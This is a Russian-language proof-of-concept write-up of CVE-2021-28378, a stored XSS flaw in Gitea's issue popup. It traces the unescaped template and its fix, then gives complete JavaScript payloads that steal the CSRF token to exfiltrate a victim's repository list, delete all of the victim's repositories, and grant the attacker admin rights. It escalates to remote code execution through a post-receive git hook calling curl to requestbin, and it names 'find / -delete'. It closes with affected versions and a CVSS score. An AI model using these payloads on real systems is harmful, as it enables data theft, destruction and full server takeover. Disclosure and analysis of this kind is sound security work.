
Подробное доказательство концепции и анализ CVE-2021-28378, хранимой XSS-уязвимости в Gitea, позволяющей внедрение произвольного кода, повышение привилегий и удаленное выполнение кода через git-хуки.
Подробности об этой CVE здесь.
Эта CVE связана с отсутствием экранирования строк на стороне клиента для контента, получаемого с сервера. Она позволяет атакующему легко внедрять произвольный код, создавая комментарий к issue или pull request. Проблема была внесена в коммите 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 в конце января 2020 года, но из-за squash мы не можем точно узнать, кто это сделал, чтобы исследовать похожие внесённые баги.
Прежде всего, давайте разберёмся, откуда берётся эта уязвимость. Для этого посмотрим коммит, исправляющий эту CVE.
До:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
Мы видим, что нет никакого экранирования HTML для label.name, , и , которые являются строками, управляемыми пользователем, и, следовательно, позволяют внедрять произвольный код.
Обратите внимание, что вряд ли можно использовать для внедрения кода, так как он должен соответствовать слишком многим правилам (), которые мы не можем обойти с помощью этой CVE.
Именно это и исправляет PR, оборачивая их в .
issue.repository.full_nameissue.titlebodyissue.repository.full_name[\w._-]+htmlEscapeПосле:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
Давайте бегло посмотрим на файл web_src/js/features/contextpopup.js, чтобы понять, как вызвать CVE.
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
Здесь мы видим, что для каждого узла с классом ref-issue будет добавлено уязвимое всплывающее окно.
Теперь нам нужно найти, где ref-issue попадает к пользователю: давайте воспользуемся grep (и оставим только интересные результаты, то есть без тестовых файлов и тому подобного)!
Следующий номер коммита соответствует тегу 1.12.4 — версии по умолчанию из официального файла docker-compose.yml, которая подвержена этой CVE.
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
Теперь мы знаем, что статического контента с классом ref-issue нет — он генерируется динамически.
Последний результат не интересен, так как это просто правило политики санитайзера. Остальные интересны, и мы увидим почему.
Давайте углубимся в modules/markup/html.go.
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
Нам также нужно понять, что делает getIssueFullPattern.
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
Давайте подведём итог, чтобы понять, какая задача здесь выполняется.
В fullIssuePatternProcessor сначала нужно убедиться, что ctx.metas не равен nil (мы полагаем, что это так, поскольку он создаётся вышестоящими функциями/методами в стеке вызовов).
Затем мы проверяем, соответствует ли данным узла путь вида http://mygitea.com/gituser/myrepo/issues/1. Если совпадение есть, мы заменяем его ссылкой.
Если ссылка относится к тому же пользователю и репозиторию, заменяем её на паттерн #<issue_id>, иначе — на <user>/<repo>#<issue_id>.
В обоих случаях добавляется класс ref-issue, который нужен для генерации всплывающего окна.
Остальные результаты grep делают примерно то же самое.
Теперь, когда у нас есть контекст — замена ссылки вида http://mygitea.com/gituser/myrepo/issues/1 на более короткую, — мы можем понять, где это происходит: в issues и PR, где можно добавлять метки и/или оставлять комментарии.
Для этого предположим, что у вас есть репозиторий с правами на запись.
Перейдите в свой репозиторий и создайте новую метку с именем, содержащим произвольный код (например, <script>alert('label.name')</script>).
Перейдите в раздел issues вашего репозитория и создайте новый issue с произвольным кодом в заголовке и теле, добавив ему предыдущую метку.
Создайте новый issue в любом репозитории и добавьте в его тело ссылку на ваш внедрённый issue, например http://mygitea.com/gituser/myrepo/issues/1.
Она будет заменена ссылкой, которую мы видели ранее, и когда кто-то наведёт курсор на ссылку, выполнится произвольный код: появится всплывающее окно, содержащее label.name.
CVE-2021-28378 доказанно позволяет внедрение произвольного кода. Давайте представим, что может сделать атакующий.
В Gitea есть CSRF-токен, который подтверждает вашу личность при заполнении форм и/или вызове API, предотвращая такие проблемы безопасности, как встраивание iframe Gitea для кражи ваших сессий.
CSRF-токен хранится в ваших куках (_csrf), а также почти на всех веб-страницах (кроме некоторых, например /api/v1/swagger), которые посещает пользователь, в определённых полях... И в том числе на страницах issues/PR.
Самое интересное поле с ним находится в общей части заголовка HTML-страниц и всегда имеет один и тот же XPath: /html/head/meta[9].
Имея эти данные, мы можем отправлять аутентифицированные действия от имени любого пользователя, затронутого нашей нагрузкой, просто получив CSRF-токен в JS следующим образом: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.
Теперь самое время проявить творческий подход и создать различные атаки. Обратите внимание, что ваши действия будут ограничены, но не слишком:
label.name и issue.title должны быть короткими, поэтому не многие полезные нагрузки в них поместятся. Тем не менее, вы можете внедрить script с атрибутом src, который будет ссылаться на любой нужный вам скрипт;body не ограничен по длине, но предпросмотр всплывающего окна ограничивает показ данных. Ваша полезная нагрузка должна быть в начале, если вы хотите, чтобы она сработала. Тем не менее, можно поступить так же, как описано ранее, с script и атрибутом src.Давайте посмотрим на несколько примеров, которые можно собрать.
Представьте сценарий, в котором атакующий хочет получить все репозитории, к которым у вас есть доступ. Это доказывает, что атака может нарушить всю вашу конфиденциальность. Атака выполняется в 3 шага:
Давайте напишем немного JS-кода для этого:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
Поместите эту полезную нагрузку в отдельный файл, загрузите его в свой репозиторий и внедрите в тело issue с помощью чего-то вроде <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Теперь атакующий может оставить комментарий к issue/PR со ссылкой на этот внедрённый issue, и когда кто-то наведёт курсор на ссылку, все данные его репозиториев будут украдены атакующим!
Представьте сценарий, в котором атакующий хочет удалить все ваши репозитории, к которым у вас есть доступ. Это доказывает, что атака может нарушить всю вашу целостность. Атака выполняется в 3 шага:
Давайте напишем немного JS-кода для этого:
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
Поместите эту полезную нагрузку в отдельный файл, загрузите его в свой репозиторий и внедрите в тело issue с помощью чего-то вроде <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Теперь атакующий может оставить комментарий к issue/PR со ссылкой на этот внедрённый issue, и когда кто-то наведёт курсор на ссылку, все репозитории, к которым у него есть доступ, будут удалены!
Представьте сценарий, в котором атакующий хочет получить права администратора. Это доказывает возможность повышения привилегий (Privilege Escalation). Атака выполняется в 2 шага:
Давайте напишем немного JS-кода для этого:
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
Обратите внимание, что значение login_type может меняться в зависимости от версии Gitea и способа, которым ваш инстанс обрабатывает вход.
Поместите эту полезную нагрузку в отдельный файл, загрузите его в свой репозиторий и внедрите в тело issue с помощью чего-то вроде <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Теперь атакующий может оставить комментарий к issue/PR со ссылкой на этот внедрённый issue, и когда кто-то с достаточными правами наведёт курсор на ссылку, атакующий получит права администратора! Он также может назначить issue администратору или создать issue в репозитории, за которым наблюдает администратор (чтобы тот получил уведомление), увеличивая свои шансы.
Самая «забавная» часть Gitea в том, что соображения безопасности не учитывались при реализации git-хуков. Это, вероятно, одна из худших идей, которые можно было реализовать.
Получив права администратора, вы можете предоставить себе привилегию управления git-хуками (это достигается с помощью предыдущей нагрузки). Действуйте так же, как модуль Metasploit для удалённого выполнения кода через git-хуки Gitea:
post-receive;Чтобы убедиться, что эта RCE работает, давайте подставим следующее, с валидным id.
#!/bin/bash
curl https://requestbin.net/r/<id>
В панели проверки RequestBin после отправки файла, который запускает git-хук post-receive, мы видим, что запрос был выполнен с User-Agent: curl/<version>, что доказывает, что это настоящая RCE.
Обратите внимание, что эта функциональность означает: для любого XSS, который может сработать у администратора, пока значение _csrf присутствует практически на всех веб-страницах, вы можете получить RCE на Gitea.
Обновляйтесь в соответствии с затронутыми версиями CVE (см. официальный отчёт). На момент написания: с 1.12.0 по 1.13.4 (не включая 1.13.4).
Здесь приведён список затронутых версий и статус их тестирования. Обратите внимание: для версий 1.13.X вам нужно добавить DISABLE_GIT_HOOKS = false в файл app.ini в разделе [security], который может находиться по пути data/gitea/conf/app.ini, в зависимости от расположения вашей папки данных (для файла docker-compose.yml, описанного на DockerHub, он будет в той же папке).
| Версия | XSS | RCE |
|---|---|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
✅: подтверждено работает ; ❓: нужны тесты ; ❌: подтверждено не работает
Эта таблица создана, чтобы помочь читателю с расчётом оценки: она предназначена только для обсуждения оценки и не должна восприниматься как указание.
| Метрика | Значение | Пояснение |
|---|---|---|
| AV | Сеть | Использует HTTP для взаимодействия. |
| AC | Низкая | Нужен только issue (по умолчанию в Gitea его очень легко создать, так как это доступно всем) или pull request. |
| PR | Низкая | В большинстве случаев нужна учётная запись для создания issue (по умолчанию можно регистрировать новые учётные записи). Любая учётная запись может создать issue в репозитории только для чтения, за исключением случаев, когда репозиторий настроен на отключение issues (что не является настройкой по умолчанию и редко меняется). |
| UI | Требуется | Пользователь или администратор должен навести курсор на заражённую ссылку, чтобы сработала нагрузка. |
| S | Изменённый | С помощью RCE вы получаете доступ к хост-машине и, соответственно, к размещённым на ней сервисам. |
| C | Высокая | Получив права администратора, вы можете управлять всем, даже если всё настроено как приватное. Вы можете похитить учётные данные БД, подключиться к ней через RCE и извлечь данные. С помощью RCE вы можете напрямую читать файловую систему, где Gitea не выполняет проверок аутентификации/авторизации. |
| I | Высокая | Получив права администратора, вы можете изменять права, видимость, менять код репозитория и даже удалить репозиторий. С помощью RCE вы можете свободно копаться во всём и таким образом влиять на целостность пользователей, файлов... |
| A | Высокая | Имея RCE, вы можете просто удалить всю файловую систему командой find / -delete, что приведёт к полной потере доступности. |
| E | Высокая | С помощью python-скрипта exploit.py вы можете легко эксплуатировать уязвимость, от пустой учётной записи до root reverse shell. |
| RL | Официальное исправление | Исправлено коммитом <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>, слитым в master и, таким образом, вошедшим в Gitea 1.13.4. |
| RC | Подтверждено | Этот отчёт подтверждает и демонстрирует множественные эксплойты: от анализа происхождения XSS до примера RCE и скрипта. |
Строка вектора: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| Группа метрик | Оценка | Расшифровка |
|---|---|---|
| Базовый балл | 9.0 | Критическая |
| Временной балл | 8.6 | Высокая |